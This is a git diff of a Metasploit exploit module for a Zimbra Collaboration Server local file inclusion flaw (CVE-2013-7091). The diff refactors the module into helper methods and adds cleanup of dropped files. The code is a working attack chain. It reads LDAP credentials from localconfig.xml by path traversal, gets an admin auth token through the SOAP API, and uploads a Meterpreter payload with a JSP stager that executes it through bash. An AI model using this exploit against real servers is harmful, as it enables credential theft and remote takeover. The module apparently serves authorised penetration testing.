diff --git a/modules/exploits/unix/webapp/zimbra_lfi.rb b/modules/exploits/unix/webapp/zimbra_lfi.rb index 6d4e2dcc65..1f9d4506af 100644 --- a/modules/exploits/unix/webapp/zimbra_lfi.rb +++ b/modules/exploits/unix/webapp/zimbra_lfi.rb @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE + include Msf::Exploit::FileDropper include REXML Rank = GreatRanking @@ -18,10 +19,12 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Zimbra Collaboration Server LFI', 'Description' => %q{ - A Local file inclusion exists in versions 8.0.2, 7.2.2 and possibly other versions which allows an attacker to get the LDAP - credentials from the localconfig.xml file. The stolen credentials enables the attacker to make requests to the service/admin/soap API. This can then be used - to create an authentication token for the admin web interface where an administrative user can be added or code execution could be leveraged. - Tested on Zimbra Collaboration Server 8.0.2 with Ubuntu Server 12.04. + This module exploits a local file inclusion on Zimbra 8.0.2 and 7.2.2. The vulnerability + allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen + credentials allow the attacker to make requests to the service/admin/soap API. This can + then be used to create an authentication token for the admin web interface. This access + can be used to achieve remote code execution. This module has been tested on Zimbra + Collaboration Server 8.0.2 with Ubuntu Server 12.04. }, 'Author' => [ @@ -31,18 +34,20 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ "CVE", "2013-7091" ], - [ "EDB", "30085" ], - [ 'URL', "http://cxsecurity.com/issue/WLB-2013120097" ] + [ 'CVE', '2013-7091' ], + [ 'OSVDB', '100747' ], + [ 'BID', '64149' ], + [ 'EDB', '30085' ], + [ 'URL', 'http://cxsecurity.com/issue/WLB-2013120097' ] ], 'Privileged' => false, 'Platform' => ['linux'], 'Targets' => [ - [ 'Linux', + [ 'Zimbra 8.0.2 / Linux', { - 'Arch' => ARCH_X86, - 'Platform' => 'linux' + 'Arch' => ARCH_X86, + 'Platform' => 'linux' } ], ], @@ -55,27 +60,15 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options( [ - OptPort.new('RPORT', [true, 'The target port', 7071]) - ]) - - register_advanced_options( - [ - OptString.new('ALTDIR', [ false, 'Alternative zimbraAdmin directory', "zimbraAdmin"]) + Opt::RPORT(7071), + OptString.new('TARGETURI', [true, 'Path to zimbraAdmin web application', '/zimbraAdmin']), + OptInt.new('DEPTH', [true, 'Traversal depth until to reach the root path', 9]), + OptString.new('ZIMBRADIR', [true, 'Zimbra installation path on the target filesystem (/opt/zimbra by default)', '/opt/zimbra']) ]) end def check - uri = target_uri.path - - res = send_request_cgi({ - 'uri' => normalize_uri(uri, datastore['ALTDIR'], "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"), - 'method' => 'GET', - 'encode_params' => false, - 'vars_get' => { - 'v' => "091214175450", - 'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00" - } - }) + res = send_traversal_query(traversal_path("conf/localconfig.xml")) unless res and res.code == 200 return Exploit::CheckCode::Safe @@ -96,28 +89,18 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = target_uri.path - - res = send_request_cgi({ - 'uri' => normalize_uri(uri, datastore['ALTDIR'], "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"), - 'method' => 'GET', - 'encode_params' => false, - 'vars_get' => { - 'v' => "091214175450", - 'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00" - } - }) + print_status("#{peer} - Getting login credentials...") + res = send_traversal_query(traversal_path("conf/localconfig.xml")) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL") end - print_status("#{peer} - Getting login credentials...") #this response is ~100% gzipped begin text = Rex::Text.ungzip(res.body) rescue Zlib::GzipFile::Error - text = res.body + text = res.body.to_s end if text =~ /name=\\"zimbra_user\\">";\sa\["(.*)<\/value>/ @@ -138,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote soap_req = build_soap_req(zimbra_user, zimbra_pass) #lets get our hands foamy res = send_request_cgi({ - 'uri' => normalize_uri(uri, "/service/admin/soap"), + 'uri' => normalize_uri("service", "admin", "soap"), 'method' => 'POST', 'ctype' => 'application/soap+xml; charset="utf-8"', 'headers' => @@ -149,17 +132,16 @@ class Metasploit3 < Msf::Exploit::Remote }) unless res and res.code == 200 - print_status res.body fail_with(Failure::Unknown, "#{peer} - Unable to access service URL") end - if res.body =~ /(.*)<\/authToken>/ + if res.body.to_s =~ /(.*)<\/authToken>/ auth_token = $1 else fail_with(Failure::Unknown, "#{peer} - Unable to get auth token") end - cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}" + @cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}" print_good("#{peer} - Got auth token!") #the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler @@ -169,62 +151,81 @@ class Metasploit3 < Msf::Exploit::Remote #push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards payload_name = rand_text_alpha(8+rand(8)) stager_name = rand_text_alpha(8+rand(8)) + ".jsp" - req_id = rand_text_numeric(2).to_s stager = gen_stager(payload_name) - dpayload = generate_payload_exe + payload_elf = generate_payload_exe #upload payload - print_status("#{peer} - Uploading .JSP stager and payload") - post_data = Rex::MIME::Message.new - post_data.add_part("#{payload_name}", nil, nil, "form-data; name=\"filename1\"") - post_data.add_part("#{dpayload}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{payload_name}\"") - post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"") - - n_data = post_data.to_s - n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') - - res = send_request_cgi({ - 'uri' => normalize_uri(uri, "/service/extension/clientUploader/upload/"), - 'method' => 'POST', - 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, - 'data' => n_data, - 'cookie' => cookie - }) + print_status("#{peer} - Uploading payload") + res = upload_file(payload_name, payload_elf) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to get upload payload") end #upload jsp stager + print_status("#{peer} - Uploading jsp stager") + res = upload_file(stager_name, stager) + + unless res and res.code == 200 + fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") + end + + register_files_for_cleanup( + "../jetty/webapps/zimbra/downloads/#{stager_name}", + "../jetty/webapps/zimbra/downloads/#{payload_name}" + ) + + print_status("#{peer} - Executing payload on /downloads/#{stager_name}") + + res = send_request_cgi({ + 'uri' => normalize_uri("downloads", stager_name), + 'method' => 'GET', + }) + end + + def traversal_path(file_name) + ::File.join( + "../" * datastore['DEPTH'], + datastore['ZIMBRADIR'], + file_name + ) + end + + def send_traversal_query(traversal) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "res", "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"), + 'method' => 'GET', + 'encode_params' => false, + 'vars_get' => { + 'v' => "091214175450", + 'skin' => "#{traversal}%00" + } + }) + + return res + end + + def upload_file(file_name, data) + req_id = rand_text_numeric(2).to_s + post_data = Rex::MIME::Message.new - post_data.add_part("#{stager_name}", nil, nil, "form-data; name=\"filename1\"") - post_data.add_part("#{stager}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{stager_name}\"") + post_data.add_part("#{file_name}", nil, nil, "form-data; name=\"filename1\"") + post_data.add_part("#{data}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"") post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"") n_data = post_data.to_s n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ - 'uri' => normalize_uri(uri, "/service/extension/clientUploader/upload/"), + 'uri' => normalize_uri("service", "extension", "clientUploader", "upload"), 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data' => n_data, - 'cookie' => cookie + 'cookie' => @cookie }) - unless res and res.code == 200 - fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") - end - - print_good("#{peer} - Stager and payload uploaded!") - print_status("#{peer} - Stager at #{peer}/downloads/#{stager_name}") - print_status("#{peer} - Executing payload!") - - res = send_request_cgi({ - 'uri' => normalize_uri(uri, "downloads", stager_name), - 'method' => 'GET', - }) + return res end def build_soap_req(zimbra_user, zimbra_pass) @@ -274,11 +275,11 @@ class Metasploit3 < Msf::Exploit::Remote stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);" stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;" stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";" - stager += " Runtime.getRuntime().exec(\"chmod 700 \" + payload);" - stager += " Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");" - stager += " Runtime.getRuntime().exec(\"rm \" + jspfile);" - stager += " Runtime.getRuntime().exec(\"rm \" + payload);" + stager += " Process p = Runtime.getRuntime().exec(\"chmod 700 \" + payload);" + stager += " p.waitFor();" + stager += " p = Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");" stager += "%>" + return stager end end